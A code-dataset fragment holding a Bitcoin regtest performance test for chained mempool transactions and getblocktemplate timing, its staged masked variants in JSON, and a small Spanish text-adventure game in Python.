"-magneticanomalyactivationtime=%d" % MAGNETIC_ANOMALY_START_TIME
]
config_node2 = chained_args.copy()
if DEBUG_MODE:
chained_args.append(DEBUG_MODE)
self.extra_args = [chained_args, config_node2]
# Build a transaction that spends parent_txid:vout
# Return amount sent
def chain_transaction(self, node, parent_txid, vout, value, fee, num_outputs):
send_value = satoshi_round((value - fee) / num_outputs)
inputs = [{'txid': parent_txid, 'vout': vout}]
outputs = {}
for i in range(num_outputs):
outputs[node.getnewaddress()] = send_value
rawtx = node.createrawtransaction(inputs, outputs)
signedtx = node.signrawtransaction(rawtx)
#measure the performance of sending the raw transaction to the node
sendtx_start = time.perf_counter()
new_txid = node.sendrawtransaction(signedtx['hex'])
sendtx_stop = time.perf_counter()
fulltx = node.getrawtransaction(new_txid, 1)
#self.log.info('{0} => {1}'.format(parent_txid, fulltx['vout'][0]))
# make sure we didn't generate a change output
assert(len(fulltx['vout']) == num_outputs)
return (new_txid, send_value, sendtx_stop - sendtx_start, fulltx['size'])
def mine_blocks(self):
''' Mine some blocks and have them mature. '''
self.nodes[0].generate(101)
self.utxo = self.nodes[0].listunspent(10)
self.txid = self.utxo[0]['txid']
self.coinbasetx = self.txid
self.vout = self.utxo[0]['vout']
self.value = self.utxo[0]['amount']
self.fee = Decimal("0.0001")
self.tip = int("0x" + self.nodes[0].getbestblockhash(), 0)
self.block_time = int(time.time()) + 1
def send_chain_to_node(self):
''' Generates tx chain and send it to node '''
for i in range(CHAINED_TX):
(sent_txid, sent_value, this_sendtx, tx_size) = self.chain_transaction(
self.nodes[0], self.txid, 0, self.value, self.fee, 1)
if not self.chain_top:
self.chain_top = sent_txid
self.txid = sent_txid
self.value = sent_value
self.chain.append(sent_txid)
self.mempool_send += this_sendtx
self.mempool_size += tx_size
def create_new_block(self):
''' Create a new block with an anyone-can-spend coinbase '''
block = create_block(
self.tip, create_coinbase(self.height), self.block_time)
self.block_time += 1
block.solve()
return block
def mempool_count(self):
''' get count of tx in mempool '''
mininginfo = self.nodes[0].getmininginfo()
return mininginfo['pooledtx']
def dumppool(self, mempool):
''' Show list of chained tx in mempool with parent(depends) '''
def sortdepends(e):
return e['descendantcount']
sortedlist = [[k,v] for k,v in mempool.items()]
sortedlist = sorted(sortedlist, key=lambda l: l[1]['descendantcount'], reverse=True)
for memkv in sortedlist:
memtx = memkv[1]
self.log.info('{} {} {}'.format(memkv[0], memtx['descendantcount'], memtx['depends']))
def run_test(self):
self.log.info('Starting Test with {0} Chained Transactions'.format(CHAINED_TX))
self.chain_top = None
self.mine_blocks()
self.mempool_send = 0
self.mempool_size = 0
self.chain = []
self.send_chain_to_node()
# mempool should have all our tx
assert(self.mempool_count() == CHAINED_TX)
mempool = self.nodes[0].getrawmempool(True)
self.log.info('tx at top has {} descendants'.format(mempool[self.chain_top]["descendantcount"]))
assert(mempool[self.chain_top]["descendantcount"] == CHAINED_TX)
#self.dumppool(mempool)
self.height = 1
# create new block and save coinbase
self.block1 = self.create_new_block()
self.tip = self.block1.sha256
self.height += 1
#mature the block so we can spend the coinbase
for i in range(100):
block = self.create_new_block()
self.tip = block.sha256
self.height += 1
#sync pool not needed as long as we are using node 0 which has all the tx we sent to it
#sync_mempools(self.nodes, wait=1, timeout=100)
self.runs=[]
for test_iteration in range(TEST_ITERATIONS):
# do not use perf_counter. use timer from -printtoconsole instead
gbt_start = time.perf_counter()
# assemble a block and validate all tx in it
templat = self.nodes[0].getblocktemplate()
gbt_stop = time.perf_counter()
# make sure all tx got mined
assert(len(templat['transactions']) == CHAINED_TX)
self.runs.append(gbt_stop - gbt_start)
#assert(self.mempool_count() == 0)
self.log.info('Mempool size {0}'.format(self.mempool_size))
self.log.info('Send Tx took {0:.5f}s'.format(self.mempool_send))
if len(self.runs) > 1:
self.log.info('run times {}'.format(self.runs))
self.log.info('GetBlkT took {0:.5f}s'.format(sum(self.runs)/len(self.runs)))
if __name__ == '__main__':
ChainedTest().main()
|
normal
|
{
"blob_id": "661eef8500309191514fd760b7518014dee2bb5f",
"index": 9225,
"step-1": "<mask token>\n\n\nclass ChainedTest(BitcoinTestFramework):\n\n def set_test_params(self):\n \"\"\" our test network requires a peer node so that getblocktemplate succeeds \"\"\"\n self.num_nodes = 2\n chained_args = ['-limitancestorcount=2000',\n '-limitdescendantcount=2000', '-limitancestorsize=1000',\n '-limitdescendantsize=1000', \n '-magneticanomalyactivationtime=%d' % MAGNETIC_ANOMALY_START_TIME]\n config_node2 = chained_args.copy()\n if DEBUG_MODE:\n chained_args.append(DEBUG_MODE)\n self.extra_args = [chained_args, config_node2]\n\n def chain_transaction(self, node, parent_txid, vout, value, fee,\n num_outputs):\n send_value = satoshi_round((value - fee) / num_outputs)\n inputs = [{'txid': parent_txid, 'vout': vout}]\n outputs = {}\n for i in range(num_outputs):\n outputs[node.getnewaddress()] = send_value\n rawtx = node.createrawtransaction(inputs, outputs)\n signedtx = node.signrawtransaction(rawtx)\n sendtx_start = time.perf_counter()\n new_txid = node.sendrawtransaction(signedtx['hex'])\n sendtx_stop = time.perf_counter()\n fulltx = node.getrawtransaction(new_txid, 1)\n assert len(fulltx['vout']) == num_outputs\n return new_txid, send_value, sendtx_stop - sendtx_start, fulltx['size']\n\n def mine_blocks(self):\n \"\"\" Mine some blocks and have them mature. \"\"\"\n self.nodes[0].generate(101)\n self.utxo = self.nodes[0].listunspent(10)\n self.txid = self.utxo[0]['txid']\n self.coinbasetx = self.txid\n self.vout = self.utxo[0]['vout']\n self.value = self.utxo[0]['amount']\n self.fee = Decimal('0.0001')\n self.tip = int('0x' + self.nodes[0].getbestblockhash(), 0)\n self.block_time = int(time.time()) + 1\n\n def send_chain_to_node(self):\n \"\"\" Generates tx chain and send it to node \"\"\"\n for i in range(CHAINED_TX):\n sent_txid, sent_value, this_sendtx, tx_size = (self.\n chain_transaction(self.nodes[0], self.txid, 0, self.value,\n self.fee, 1))\n if not self.chain_top:\n self.chain_top = sent_txid\n self.txid = sent_txid\n self.value = sent_value\n self.chain.append(sent_txid)\n self.mempool_send += this_sendtx\n self.mempool_size += tx_size\n\n def create_new_block(self):\n \"\"\" Create a new block with an anyone-can-spend coinbase \"\"\"\n block = create_block(self.tip, create_coinbase(self.height), self.\n block_time)\n self.block_time += 1\n block.solve()\n return block\n <mask token>\n <mask token>\n\n def run_test(self):\n self.log.info('Starting Test with {0} Chained Transactions'.format(\n CHAINED_TX))\n self.chain_top = None\n self.mine_blocks()\n self.mempool_send = 0\n self.mempool_size = 0\n self.chain = []\n self.send_chain_to_node()\n assert self.mempool_count() == CHAINED_TX\n mempool = self.nodes[0].getrawmempool(True)\n self.log.info('tx at top has {} descendants'.format(mempool[self.\n chain_top]['descendantcount']))\n assert mempool[self.chain_top]['descendantcount'] == CHAINED_TX\n self.height = 1\n self.block1 = self.create_new_block()\n self.tip = self.block1.sha256\n self.height += 1\n for i in range(100):\n block = self.create_new_block()\n self.tip = block.sha256\n self.height += 1\n self.runs = []\n for test_iteration in range(TEST_ITERATIONS):\n gbt_start = time.perf_counter()\n templat = self.nodes[0].getblocktemplate()\n gbt_stop = time.perf_counter()\n assert len(templat['transactions']) == CHAINED_TX\n self.runs.append(gbt_stop - gbt_start)\n self.log.info('Mempool size {0}'.format(self.mempool_size))\n self.log.info('Send Tx took {0:.5f}s'.format(self.mempool_send))\n if len(self.runs) > 1:\n self.log.info('run times {}'.format(self.runs))\n self.log.info('GetBlkT took {0:.5f}s'.format(sum(self.runs) / len(\n self.runs)))\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass ChainedTest(BitcoinTestFramework):\n\n def set_test_params(self):\n \"\"\" our test network requires a peer node so that getblocktemplate succeeds \"\"\"\n self.num_nodes = 2\n chained_args = ['-limitancestorcount=2000',\n '-limitdescendantcount=2000', '-limitancestorsize=1000',\n '-limitdescendantsize=1000', \n '-magneticanomalyactivationtime=%d' % MAGNETIC_ANOMALY_START_TIME]\n config_node2 = chained_args.copy()\n if DEBUG_MODE:\n chained_args.append(DEBUG_MODE)\n self.extra_args = [chained_args, config_node2]\n\n def chain_transaction(self, node, parent_txid, vout, value, fee,\n num_outputs):\n send_value = satoshi_round((value - fee) / num_outputs)\n inputs = [{'txid': parent_txid, 'vout': vout}]\n outputs = {}\n for i in range(num_outputs):\n outputs[node.getnewaddress()] = send_value\n rawtx = node.createrawtransaction(inputs, outputs)\n signedtx = node.signrawtransaction(rawtx)\n sendtx_start = time.perf_counter()\n new_txid = node.sendrawtransaction(signedtx['hex'])\n sendtx_stop = time.perf_counter()\n fulltx = node.getrawtransaction(new_txid, 1)\n assert len(fulltx['vout']) == num_outputs\n return new_txid, send_value, sendtx_stop - sendtx_start, fulltx['size']\n\n def mine_blocks(self):\n \"\"\" Mine some blocks and have them mature. \"\"\"\n self.nodes[0].generate(101)\n self.utxo = self.nodes[0].listunspent(10)\n self.txid = self.utxo[0]['txid']\n self.coinbasetx = self.txid\n self.vout = self.utxo[0]['vout']\n self.value = self.utxo[0]['amount']\n self.fee = Decimal('0.0001')\n self.tip = int('0x' + self.nodes[0].getbestblockhash(), 0)\n self.block_time = int(time.time()) + 1\n\n def send_chain_to_node(self):\n \"\"\" Generates tx chain and send it to node \"\"\"\n for i in range(CHAINED_TX):\n sent_txid, sent_value, this_sendtx, tx_size = (self.\n chain_transaction(self.nodes[0], self.txid, 0, self.value,\n self.fee, 1))\n if not self.chain_top:\n self.chain_top = sent_txid\n self.txid = sent_txid\n self.value = sent_value\n self.chain.append(sent_txid)\n self.mempool_send += this_sendtx\n self.mempool_size += tx_size\n\n def create_new_block(self):\n \"\"\" Create a new block with an anyone-can-spend coinbase \"\"\"\n block = create_block(self.tip, create_coinbase(self.height), self.\n block_time)\n self.block_time += 1\n block.solve()\n return block\n <mask token>\n\n def dumppool(self, mempool):\n \"\"\" Show list of chained tx in mempool with parent(depends) \"\"\"\n\n def sortdepends(e):\n return e['descendantcount']\n sortedlist = [[k, v] for k, v in mempool.items()]\n sortedlist = sorted(sortedlist, key=lambda l: l[1][\n 'descendantcount'], reverse=True)\n for memkv in sortedlist:\n memtx = memkv[1]\n self.log.info('{} {} {}'.format(memkv[0], memtx[\n 'descendantcount'], memtx['depends']))\n\n def run_test(self):\n self.log.info('Starting Test with {0} Chained Transactions'.format(\n CHAINED_TX))\n self.chain_top = None\n self.mine_blocks()\n self.mempool_send = 0\n self.mempool_size = 0\n self.chain = []\n self.send_chain_to_node()\n assert self.mempool_count() == CHAINED_TX\n mempool = self.nodes[0].getrawmempool(True)\n self.log.info('tx at top has {} descendants'.format(mempool[self.\n chain_top]['descendantcount']))\n assert mempool[self.chain_top]['descendantcount'] == CHAINED_TX\n self.height = 1\n self.block1 = self.create_new_block()\n self.tip = self.block1.sha256\n self.height += 1\n for i in range(100):\n block = self.create_new_block()\n self.tip = block.sha256\n self.height += 1\n self.runs = []\n for test_iteration in range(TEST_ITERATIONS):\n gbt_start = time.perf_counter()\n templat = self.nodes[0].getblocktemplate()\n gbt_stop = time.perf_counter()\n assert len(templat['transactions']) == CHAINED_TX\n self.runs.append(gbt_stop - gbt_start)\n self.log.info('Mempool size {0}'.format(self.mempool_size))\n self.log.info('Send Tx took {0:.5f}s'.format(self.mempool_send))\n if len(self.runs) > 1:\n self.log.info('run times {}'.format(self.runs))\n self.log.info('GetBlkT took {0:.5f}s'.format(sum(self.runs) / len(\n self.runs)))\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass ChainedTest(BitcoinTestFramework):\n\n def set_test_params(self):\n \"\"\" our test network requires a peer node so that getblocktemplate succeeds \"\"\"\n self.num_nodes = 2\n chained_args = ['-limitancestorcount=2000',\n '-limitdescendantcount=2000', '-limitancestorsize=1000',\n '-limitdescendantsize=1000', \n '-magneticanomalyactivationtime=%d' % MAGNETIC_ANOMALY_START_TIME]\n config_node2 = chained_args.copy()\n if DEBUG_MODE:\n chained_args.append(DEBUG_MODE)\n self.extra_args = [chained_args, config_node2]\n\n def chain_transaction(self, node, parent_txid, vout, value, fee,\n num_outputs):\n send_value = satoshi_round((value - fee) / num_outputs)\n inputs = [{'txid': parent_txid, 'vout': vout}]\n outputs = {}\n for i in range(num_outputs):\n outputs[node.getnewaddress()] = send_value\n rawtx = node.createrawtransaction(inputs, outputs)\n signedtx = node.signrawtransaction(rawtx)\n sendtx_start = time.perf_counter()\n new_txid = node.sendrawtransaction(signedtx['hex'])\n sendtx_stop = time.perf_counter()\n fulltx = node.getrawtransaction(new_txid, 1)\n assert len(fulltx['vout']) == num_outputs\n return new_txid, send_value, sendtx_stop - sendtx_start, fulltx['size']\n\n def mine_blocks(self):\n \"\"\" Mine some blocks and have them mature. \"\"\"\n self.nodes[0].generate(101)\n self.utxo = self.nodes[0].listunspent(10)\n self.txid = self.utxo[0]['txid']\n self.coinbasetx = self.txid\n self.vout = self.utxo[0]['vout']\n self.value = self.utxo[0]['amount']\n self.fee = Decimal('0.0001')\n self.tip = int('0x' + self.nodes[0].getbestblockhash(), 0)\n self.block_time = int(time.time()) + 1\n\n def send_chain_to_node(self):\n \"\"\" Generates tx chain and send it to node \"\"\"\n for i in range(CHAINED_TX):\n sent_txid, sent_value, this_sendtx, tx_size = (self.\n chain_transaction(self.nodes[0], self.txid, 0, self.value,\n self.fee, 1))\n if not self.chain_top:\n self.chain_top = sent_txid\n self.txid = sent_txid\n self.value = sent_value\n self.chain.append(sent_txid)\n self.mempool_send += this_sendtx\n self.mempool_size += tx_size\n\n def create_new_block(self):\n \"\"\" Create a new block with an anyone-can-spend coinbase \"\"\"\n block = create_block(self.tip, create_coinbase(self.height), self.\n block_time)\n self.block_time += 1\n block.solve()\n return block\n\n def mempool_count(self):\n \"\"\" get count of tx in mempool \"\"\"\n mininginfo = self.nodes[0].getmininginfo()\n return mininginfo['pooledtx']\n\n def dumppool(self, mempool):\n \"\"\" Show list of chained tx in mempool with parent(depends) \"\"\"\n\n def sortdepends(e):\n return e['descendantcount']\n sortedlist = [[k, v] for k, v in mempool.items()]\n sortedlist = sorted(sortedlist, key=lambda l: l[1][\n 'descendantcount'], reverse=True)\n for memkv in sortedlist:\n memtx = memkv[1]\n self.log.info('{} {} {}'.format(memkv[0], memtx[\n 'descendantcount'], memtx['depends']))\n\n def run_test(self):\n self.log.info('Starting Test with {0} Chained Transactions'.format(\n CHAINED_TX))\n self.chain_top = None\n self.mine_blocks()\n self.mempool_send = 0\n self.mempool_size = 0\n self.chain = []\n self.send_chain_to_node()\n assert self.mempool_count() == CHAINED_TX\n mempool = self.nodes[0].getrawmempool(True)\n self.log.info('tx at top has {} descendants'.format(mempool[self.\n chain_top]['descendantcount']))\n assert mempool[self.chain_top]['descendantcount'] == CHAINED_TX\n self.height = 1\n self.block1 = self.create_new_block()\n self.tip = self.block1.sha256\n self.height += 1\n for i in range(100):\n block = self.create_new_block()\n self.tip = block.sha256\n self.height += 1\n self.runs = []\n for test_iteration in range(TEST_ITERATIONS):\n gbt_start = time.perf_counter()\n templat = self.nodes[0].getblocktemplate()\n gbt_stop = time.perf_counter()\n assert len(templat['transactions']) == CHAINED_TX\n self.runs.append(gbt_stop - gbt_start)\n self.log.info('Mempool size {0}'.format(self.mempool_size))\n self.log.info('Send Tx took {0:.5f}s'.format(self.mempool_send))\n if len(self.runs) > 1:\n self.log.info('run times {}'.format(self.runs))\n self.log.info('GetBlkT took {0:.5f}s'.format(sum(self.runs) / len(\n self.runs)))\n\n\n<mask token>\n",
"step-4": "<mask token>\nif len(sys.argv) > 1:\n CHAINED_TX = int(sys.argv[1])\n<mask token>\nif len(sys.argv) > 2:\n TEST_ITERATIONS = int(sys.argv[2])\n<mask token>\n\n\nclass ChainedTest(BitcoinTestFramework):\n\n def set_test_params(self):\n \"\"\" our test network requires a peer node so that getblocktemplate succeeds \"\"\"\n self.num_nodes = 2\n chained_args = ['-limitancestorcount=2000',\n '-limitdescendantcount=2000', '-limitancestorsize=1000',\n '-limitdescendantsize=1000', \n '-magneticanomalyactivationtime=%d' % MAGNETIC_ANOMALY_START_TIME]\n config_node2 = chained_args.copy()\n if DEBUG_MODE:\n chained_args.append(DEBUG_MODE)\n self.extra_args = [chained_args, config_node2]\n\n def chain_transaction(self, node, parent_txid, vout, value, fee,\n num_outputs):\n send_value = satoshi_round((value - fee) / num_outputs)\n inputs = [{'txid': parent_txid, 'vout': vout}]\n outputs = {}\n for i in range(num_outputs):\n outputs[node.getnewaddress()] = send_value\n rawtx = node.createrawtransaction(inputs, outputs)\n signedtx = node.signrawtransaction(rawtx)\n sendtx_start = time.perf_counter()\n new_txid = node.sendrawtransaction(signedtx['hex'])\n sendtx_stop = time.perf_counter()\n fulltx = node.getrawtransaction(new_txid, 1)\n assert len(fulltx['vout']) == num_outputs\n return new_txid, send_value, sendtx_stop - sendtx_start, fulltx['size']\n\n def mine_blocks(self):\n \"\"\" Mine some blocks and have them mature. \"\"\"\n self.nodes[0].generate(101)\n self.utxo = self.nodes[0].listunspent(10)\n self.txid = self.utxo[0]['txid']\n self.coinbasetx = self.txid\n self.vout = self.utxo[0]['vout']\n self.value = self.utxo[0]['amount']\n self.fee = Decimal('0.0001')\n self.tip = int('0x' + self.nodes[0].getbestblockhash(), 0)\n self.block_time = int(time.time()) + 1\n\n def send_chain_to_node(self):\n \"\"\" Generates tx chain and send it to node \"\"\"\n for i in range(CHAINED_TX):\n sent_txid, sent_value, this_sendtx, tx_size = (self.\n chain_transaction(self.nodes[0], self.txid, 0, self.value,\n self.fee, 1))\n if not self.chain_top:\n self.chain_top = sent_txid\n self.txid = sent_txid\n self.value = sent_value\n self.chain.append(sent_txid)\n self.mempool_send += this_sendtx\n self.mempool_size += tx_size\n\n def create_new_block(self):\n \"\"\" Create a new block with an anyone-can-spend coinbase \"\"\"\n block = create_block(self.tip, create_coinbase(self.height), self.\n block_time)\n self.block_time += 1\n block.solve()\n return block\n\n def mempool_count(self):\n \"\"\" get count of tx in mempool \"\"\"\n mininginfo = self.nodes[0].getmininginfo()\n return mininginfo['pooledtx']\n\n def dumppool(self, mempool):\n \"\"\" Show list of chained tx in mempool with parent(depends) \"\"\"\n\n def sortdepends(e):\n return e['descendantcount']\n sortedlist = [[k, v] for k, v in mempool.items()]\n sortedlist = sorted(sortedlist, key=lambda l: l[1][\n 'descendantcount'], reverse=True)\n for memkv in sortedlist:\n memtx = memkv[1]\n self.log.info('{} {} {}'.format(memkv[0], memtx[\n 'descendantcount'], memtx['depends']))\n\n def run_test(self):\n self.log.info('Starting Test with {0} Chained Transactions'.format(\n CHAINED_TX))\n self.chain_top = None\n self.mine_blocks()\n self.mempool_send = 0\n self.mempool_size = 0\n self.chain = []\n self.send_chain_to_node()\n assert self.mempool_count() == CHAINED_TX\n mempool = self.nodes[0].getrawmempool(True)\n self.log.info('tx at top has {} descendants'.format(mempool[self.\n chain_top]['descendantcount']))\n assert mempool[self.chain_top]['descendantcount'] == CHAINED_TX\n self.height = 1\n self.block1 = self.create_new_block()\n self.tip = self.block1.sha256\n self.height += 1\n for i in range(100):\n block = self.create_new_block()\n self.tip = block.sha256\n self.height += 1\n self.runs = []\n for test_iteration in range(TEST_ITERATIONS):\n gbt_start = time.perf_counter()\n templat = self.nodes[0].getblocktemplate()\n gbt_stop = time.perf_counter()\n assert len(templat['transactions']) == CHAINED_TX\n self.runs.append(gbt_stop - gbt_start)\n self.log.info('Mempool size {0}'.format(self.mempool_size))\n self.log.info('Send Tx took {0:.5f}s'.format(self.mempool_send))\n if len(self.runs) > 1:\n self.log.info('run times {}'.format(self.runs))\n self.log.info('GetBlkT took {0:.5f}s'.format(sum(self.runs) / len(\n self.runs)))\n\n\nif __name__ == '__main__':\n ChainedTest().main()\n",
"step-5": "#!/usr/bin/env python3\n# Copyright (c) 2018 Nobody\n# Distributed under the MIT software license, see the accompanying\n# file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\"\"\"Test perforance of descendant package (chained transactions)\"\"\"\nimport time\nimport copy\nfrom test_framework.test_framework import BitcoinTestFramework\nfrom test_framework.util import *\nfrom test_framework.mininode import COIN\nfrom test_framework.blocktools import *\n\n\"\"\"Read optional arguments from command line\"\"\"\nCHAINED_TX = 25\nif len(sys.argv)>1:\n CHAINED_TX = int(sys.argv[1])\nTEST_ITERATIONS = 1\nif len(sys.argv)>2:\n TEST_ITERATIONS = int(sys.argv[2])\nDEBUG_MODE = '-printtoconsole'\n\nMAX_ANCESTORS = CHAINED_TX\nMAX_DESCENDANTS = CHAINED_TX\n\nMAGNETIC_ANOMALY_START_TIME = 2000000000\n\nclass ChainedTest(BitcoinTestFramework):\n\n def set_test_params(self):\n ''' our test network requires a peer node so that getblocktemplate succeeds '''\n self.num_nodes = 2\n chained_args = [\"-limitancestorcount=2000\", \"-limitdescendantcount=2000\",\n \"-limitancestorsize=1000\", \"-limitdescendantsize=1000\",\n \"-magneticanomalyactivationtime=%d\" % MAGNETIC_ANOMALY_START_TIME\n ]\n config_node2 = chained_args.copy()\n if DEBUG_MODE:\n chained_args.append(DEBUG_MODE)\n self.extra_args = [chained_args, config_node2]\n\n # Build a transaction that spends parent_txid:vout\n # Return amount sent\n def chain_transaction(self, node, parent_txid, vout, value, fee, num_outputs):\n send_value = satoshi_round((value - fee) / num_outputs)\n inputs = [{'txid': parent_txid, 'vout': vout}]\n outputs = {}\n for i in range(num_outputs):\n outputs[node.getnewaddress()] = send_value\n rawtx = node.createrawtransaction(inputs, outputs)\n signedtx = node.signrawtransaction(rawtx)\n\n #measure the performance of sending the raw transaction to the node\n sendtx_start = time.perf_counter()\n new_txid = node.sendrawtransaction(signedtx['hex'])\n sendtx_stop = time.perf_counter()\n fulltx = node.getrawtransaction(new_txid, 1)\n\n #self.log.info('{0} => {1}'.format(parent_txid, fulltx['vout'][0]))\n\n # make sure we didn't generate a change output\n assert(len(fulltx['vout']) == num_outputs)\n return (new_txid, send_value, sendtx_stop - sendtx_start, fulltx['size'])\n\n def mine_blocks(self):\n ''' Mine some blocks and have them mature. '''\n self.nodes[0].generate(101)\n self.utxo = self.nodes[0].listunspent(10)\n self.txid = self.utxo[0]['txid']\n self.coinbasetx = self.txid\n self.vout = self.utxo[0]['vout']\n self.value = self.utxo[0]['amount']\n self.fee = Decimal(\"0.0001\")\n self.tip = int(\"0x\" + self.nodes[0].getbestblockhash(), 0)\n self.block_time = int(time.time()) + 1\n\n def send_chain_to_node(self):\n ''' Generates tx chain and send it to node '''\n for i in range(CHAINED_TX):\n (sent_txid, sent_value, this_sendtx, tx_size) = self.chain_transaction(\n self.nodes[0], self.txid, 0, self.value, self.fee, 1)\n if not self.chain_top:\n self.chain_top = sent_txid\n self.txid = sent_txid\n self.value = sent_value\n self.chain.append(sent_txid)\n self.mempool_send += this_sendtx\n self.mempool_size += tx_size\n\n def create_new_block(self):\n ''' Create a new block with an anyone-can-spend coinbase '''\n block = create_block(\n self.tip, create_coinbase(self.height), self.block_time)\n self.block_time += 1\n block.solve()\n return block\n\n def mempool_count(self):\n ''' get count of tx in mempool '''\n mininginfo = self.nodes[0].getmininginfo()\n return mininginfo['pooledtx']\n\n def dumppool(self, mempool):\n ''' Show list of chained tx in mempool with parent(depends) '''\n def sortdepends(e):\n return e['descendantcount']\n sortedlist = [[k,v] for k,v in mempool.items()]\n sortedlist = sorted(sortedlist, key=lambda l: l[1]['descendantcount'], reverse=True)\n for memkv in sortedlist:\n memtx = memkv[1]\n self.log.info('{} {} {}'.format(memkv[0], memtx['descendantcount'], memtx['depends']))\n\n def run_test(self):\n self.log.info('Starting Test with {0} Chained Transactions'.format(CHAINED_TX))\n self.chain_top = None\n\n self.mine_blocks()\n\n self.mempool_send = 0\n self.mempool_size = 0\n self.chain = []\n\n self.send_chain_to_node()\n\n # mempool should have all our tx\n assert(self.mempool_count() == CHAINED_TX)\n mempool = self.nodes[0].getrawmempool(True)\n self.log.info('tx at top has {} descendants'.format(mempool[self.chain_top][\"descendantcount\"]))\n assert(mempool[self.chain_top][\"descendantcount\"] == CHAINED_TX)\n\n #self.dumppool(mempool)\n\n self.height = 1\n\n # create new block and save coinbase\n self.block1 = self.create_new_block()\n self.tip = self.block1.sha256\n self.height += 1\n\n #mature the block so we can spend the coinbase\n for i in range(100):\n block = self.create_new_block()\n self.tip = block.sha256\n self.height += 1\n\n #sync pool not needed as long as we are using node 0 which has all the tx we sent to it\n #sync_mempools(self.nodes, wait=1, timeout=100)\n\n self.runs=[]\n for test_iteration in range(TEST_ITERATIONS):\n # do not use perf_counter. use timer from -printtoconsole instead\n gbt_start = time.perf_counter()\n # assemble a block and validate all tx in it\n templat = self.nodes[0].getblocktemplate()\n gbt_stop = time.perf_counter()\n # make sure all tx got mined\n assert(len(templat['transactions']) == CHAINED_TX)\n self.runs.append(gbt_stop - gbt_start)\n\n #assert(self.mempool_count() == 0)\n\n self.log.info('Mempool size {0}'.format(self.mempool_size))\n self.log.info('Send Tx took {0:.5f}s'.format(self.mempool_send))\n if len(self.runs) > 1:\n self.log.info('run times {}'.format(self.runs))\n self.log.info('GetBlkT took {0:.5f}s'.format(sum(self.runs)/len(self.runs)))\n\nif __name__ == '__main__':\n ChainedTest().main()\n",
"step-ids": [
7,
8,
9,
10,
13
]
}
|
[
7,
8,
9,
10,
13
] |
# -*- coding: utf-8 -*-
from Clases import Lugar
from Clases import Evento
import Dialogos
import Funciones
puntuacion_necesaria = 10
hp_inicial = 5
eventos = [
Evento("dormir", 2, False, -3, 4, Dialogos.descripciones_eventos[0], Dialogos.descripciones_triunfos[0],
Dialogos.descripciones_castigos[0]),
Evento("cazar", 1, False, -2, 3, Dialogos.descripciones_eventos[1], Dialogos.descripciones_triunfos[1],
Dialogos.descripciones_castigos[1]),
Evento("comer", 2, False, 1, 1, Dialogos.descripciones_eventos[2], Dialogos.descripciones_triunfos[2],
Dialogos.descripciones_castigos[2]),
Evento("hablar", 0, True, -3, 2, Dialogos.descripciones_eventos[3], Dialogos.descripciones_triunfos[3],
Dialogos.descripciones_castigos[3]),
Evento("escalar", 0, True, -4, 3, Dialogos.descripciones_eventos[4], Dialogos.descripciones_triunfos[4],
Dialogos.descripciones_castigos[4]),
Evento("rodear", 0, False, -1, 3, Dialogos.descripciones_eventos[5], Dialogos.descripciones_triunfos[5],
Dialogos.descripciones_castigos[5]),
Evento("pescar", 2, False, -4, 2, Dialogos.descripciones_eventos[6], Dialogos.descripciones_triunfos[6],
Dialogos.descripciones_castigos[6]),
Evento("contar chiste", 0, True, 0, 6, Dialogos.descripciones_eventos[7], Dialogos.descripciones_triunfos[7],
Dialogos.descripciones_castigos[7]),
Evento("comprar", 3, False, 0, 6, Dialogos.descripciones_eventos[8], Dialogos.descripciones_triunfos[8],
Dialogos.descripciones_castigos[8])
]
dormir = eventos[0]
cazar = eventos[1]
comer = eventos[2]
hablar = eventos[3]
escalar = eventos[4]
rodear = eventos[5]
pescar = eventos[6]
contar_chiste = eventos[7]
comprar = eventos[8]
lugares = [
Lugar(1, 20, Dialogos.descripciones_lugares[0], dormir, cazar),
Lugar(21, 40, Dialogos.descripciones_lugares[1], comer, hablar),
Lugar(41, 75, Dialogos.descripciones_lugares[2], escalar, rodear),
Lugar(76, 90, Dialogos.descripciones_lugares[3], dormir, pescar),
Lugar(91, 100, Dialogos.descripciones_lugares[4], contar_chiste, comprar)
]
bosque = lugares[0]
ciudad = lugares[1]
montana = lugares[2]
lago = lugares[3]
viajero = lugares[4]
print(Dialogos.saludo[0])
nombre = input(Dialogos.saludo[1])
edad = int(input(Dialogos.saludo[2]))
print("\nHola", nombre, "tienes,", edad, "años.")
if edad >= 18:
print("¡Tienes edad suficiente para jugar!")
quiere_jugar = input("¿Quieres jugar? ").lower()
if quiere_jugar == "si" or "yes" or "y" or "s":
puede_jugar = True
print("\n¡Comienza la aventura! (HP = 5)\n")
else:
puede_jugar = False
print("Adiós...")
elif edad >= 13:
print("¡Puedes jugar bajo supervisión!")
quiere_jugar = input("¿Quieres jugar? ").lower()
if quiere_jugar == "si":
puede_jugar = True
print("\n¡Comienza la aventura!\n")
else:
puede_jugar = False
print("Adiós...")
else:
puede_jugar = False
print("¡Eres muy joven para jugar!")
print("Adiós...")
while puede_jugar:
puntuacion = 0
hp = hp_inicial
derrota = False
while puntuacion < puntuacion_necesaria and derrota == False:
dado = Funciones.roll_dice(100)
if dado <= 20:
lugar_actual = bosque
elif dado <= 35:
lugar_actual = ciudad
elif dado <= 65:
lugar_actual = montana
elif dado <= 95:
lugar_actual = lago
else:
lugar_actual = viajero
print(lugar_actual.descripcion)
print("a)", lugar_actual.evento_1.nombre, "b)", lugar_actual.evento_2.nombre)
decision = ""
while decision != "a" and decision != "b":
decision = input()
if decision != "a" and decision != "b":
print("Esa opción no existe.")
if decision == "a":
evento_actual = lugar_actual.evento_1
else:
evento_actual = lugar_actual.evento_2
print(evento_actual.descripcion)
(hp, puntuacion, derrota) = Funciones.interactuar(evento_actual, puntuacion, hp, derrota)
print("\n")
Funciones.comprobar_victoria(derrota, puntuacion)
quiere_jugar = input("\n¿Reintentar? ").lower()
print("\n")
if quiere_jugar != "si" and "yes" and "y" and "s":
puede_jugar = False
|
normal
|
{
"blob_id": "fe45fc6cd16be37b320844c5a8b43a964c016dd1",
"index": 5018,
"step-1": "<mask token>\n",
